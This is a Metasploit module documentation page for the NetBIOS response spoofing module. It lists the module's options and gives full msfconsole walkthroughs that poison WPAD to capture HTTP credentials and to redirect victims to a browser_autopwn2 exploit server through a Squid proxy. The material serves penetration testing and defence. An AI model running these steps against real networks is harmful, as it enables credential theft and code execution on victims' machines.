NetBIOS Response Brute Force Spoof (Direct) - Metasploit
This page contains detailed information about how to use the auxiliary/admin/netbios/netbios_spoof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: NetBIOS Response Brute Force Spoof (Direct)
Module: auxiliary/admin/netbios/netbios_spoof
Source code: modules/auxiliary/admin/netbios/netbios_spoof.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 137
List of CVEs: -
This module continuously spams NetBIOS responses to a target for given hostname, causing the target to cache a malicious address for this name. On high-speed local networks, the PPSRATE value should be increased to speed up this attack. As an example, a value of around 30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup. Distant targets may require more time and lower rates for a successful attack.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/netbios/netbios_spoof
msf auxiliary(netbios_spoof) > show targets
... a list of targets ...
msf auxiliary(netbios_spoof) > set TARGET target-id
msf auxiliary(netbios_spoof) > show options
... show and set options ...
msf auxiliary(netbios_spoof) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
netbios_spoof continuously spams NetBIOS responses to a target for given hostname, causing the target to cache a malicious address for this name. By default, the module will attempt to poison WPAD, forcing the target system to communicate with a fake server that can be leveraged to steal sensitive information, or obtain arbitrary code execution.
Vulnerable Application
Windows is the most ideal target because it supports WPAD by default.
Options
NBADDR
The address that the NetBIOS name (NBNAME) should resolve to.
NBNAME
The NetBIOS name to spoof a reply for.
PPSRATE
The rate at which to send NetBIOS replies.
Scenarios
Credential Collection Attack Using Targeted NetBIOS Spoofing:
The following example uses http_basic, but other modules (such as http_ntlm) also applies.
Step 1: Start the first Metasploit instance:
rvmsudo ./msfconsole -q
use auxiliary/server/capture/http_basic
set REALM google.com
set URIPATH /
run
Step 2: Start the second Metasploit instance:
rvmsudo ./msfconsole -q
use auxiliary/admin/netbios/netbios_spoof
set NBADDR [IP to fake HTTP auth server]
set PPSRATE 30000
set RHOST [Target Host]
run
Step 3: On the victim machine:
- Make sure IE automatically detects settings (under LAN settings)
- Start IE, as soon as it opens, IE should try to authenticate.
If the spoofed name has already been cached, you can do this to flush. And then next time IE will be asked for credentials again.
ipconfig /flushdns
Arbitrary Code Execution Using Targeted NetBIOS Spoofing:
The following example will spoof WPAD and causes google.com to redirect to an exploit server.
Step 1: Start the first Metasploit instance:
rvmsudo ./msfconsole -q
use auxiliary/server/browser_autopwn2
set SRVPORT 8181
run
Remember the BrowserAutoPwn URL, you will need this info for the proxy configuration file.
Step 2: Install Squid Proxy server (or SquidMan if you use OS X), and edit the configuration file:
First, uncomment these settings if they are found in the file:
- http_access deny all
- http_access deny !Safe_ports
- http_access deny CONNECT !SSL_ports
- http_access deny to_localhost
- http_access deny all
- always_direct deny all
Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn URL field:
acl MyNetwork src 192.168.1.0/24
acl BLKSite dstdomain .google.com
deny_info [BrowserAutoPwn URL] all
http_reply_access deny BLKSite all
http_access allow MyNetwork
Step 3: Start the second Metasploit instance:
rvmsudo ./msfconsole -q
use auxiliary/server/wpad
set PROXY [Proxy IP]
set PROXYPORT 8080
run
Step 4: Start the third Metasploit instance:
rvmsudo ./msfconsole -q
use auxiliary/admin/netbios/netbios_spoof
set NBADDR [IP to fake HTTP server]
set PPSRATE 30000
set RHOST [Target Host]
run
Step 5: On the victim machine:
- Make sure IE automatically detects settings (under LAN settings)
- Start IE
- Go to google.com, IE should end up loading the exploit server.
If the spoofed name has already been cached, you can do this to flush.
ipconfig /flushdns
Go back to menu.
Msfconsole Usage
Here is how the admin/netbios/netbios_spoof auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/netbios/netbios_spoof
msf6 auxiliary(admin/netbios/netbios_spoof) > show info
Name: NetBIOS Response Brute Force Spoof (Direct)
Module: auxiliary/admin/netbios/netbios_spoof
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
vvalien
hdm <[email protected]>
tombkeeper
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
NBADDR 192.168.204.3 yes The address that the NetBIOS name should resolve to
NBNAME WPAD yes The NetBIOS name to spoof a reply for
PPSRATE 1000 yes The rate at which to send NetBIOS replies
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 137 yes The target port (UDP)
Description:
This module continuously spams NetBIOS responses to a target for
given hostname, causing the target to cache a malicious address for
this name. On high-speed local networks, the PPSRATE value should be
increased to speed up this attack. As an example, a value of around
30,000 is almost 100% successful when spoofing a response for a
'WPAD' lookup. Distant targets may require more time and lower rates
for a successful attack.
Module Options
This is a complete list of options available in the admin/netbios/netbios_spoof auxiliary module:
msf6 auxiliary(admin/netbios/netbios_spoof) > show options
Module options (auxiliary/admin/netbios/netbios_spoof):
Name Current Setting Required Description
---- --------------- -------- -----------
NBADDR 192.168.204.3 yes The address that the NetBIOS name should resolve to
NBNAME WPAD yes The NetBIOS name to spoof a reply for
PPSRATE 1000 yes The rate at which to send NetBIOS replies
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 137 yes The target port (UDP)
Advanced Options
Here is a complete list of advanced options supported by the admin/netbios/netbios_spoof auxiliary module:
msf6 auxiliary(admin/netbios/netbios_spoof) > show advanced
Module advanced options (auxiliary/admin/netbios/netbios_spoof):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/netbios/netbios_spoof module can do:
msf6 auxiliary(admin/netbios/netbios_spoof) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/netbios/netbios_spoof auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/netbios/netbios_spoof) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Error: Target sent us an ICMP port unreachable, port is likely closed
Here is a relevant code snippet related to the "Error: Target sent us an ICMP port unreachable, port is likely closed" error message:
71: pps = (pcnt / (Time.now.to_f - stime)).to_i
72: if pps > @targ_rate
73: sleep(0.01)
74: end
75: rescue Errno::ECONNREFUSED
76: print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
77: live = false
78: break
79: end
80: end
81: end
Go back to menu.
Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7033 Merged Pull Request: Use the proper Author key, not Authors
- #6994 Merged Pull Request: NetBIOS Name Brute Force Spoofing
Go back to menu.
See Also
Check also the following modules related to this module:
- auxiliary/server/dns/spoofhelper
- auxiliary/server/netbios_spoof_nat
- auxiliary/spoof/arp/arp_poisoning
- auxiliary/spoof/cisco/cdp
- auxiliary/spoof/cisco/dtp
- auxiliary/spoof/dns/bailiwicked_domain
- auxiliary/spoof/dns/bailiwicked_host
- auxiliary/spoof/dns/compare_results
- auxiliary/spoof/dns/native_spoofer
- auxiliary/spoof/llmnr/llmnr_response
- auxiliary/spoof/mdns/mdns_response
- auxiliary/spoof/nbns/nbns_response
- auxiliary/spoof/replay/pcap_replay
- auxiliary/voip/sip_invite_spoof
- exploit/windows/fileformat/winrar_name_spoofing
- post/linux/manage/dns_spoofing
- post/osx/gather/password_prompt_spoof
- exploit/multi/http/struts2_namespace_ognl
- auxiliary/scanner/netbios/nbname
Authors
- vvalien
- hdm
- tombkeeper
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.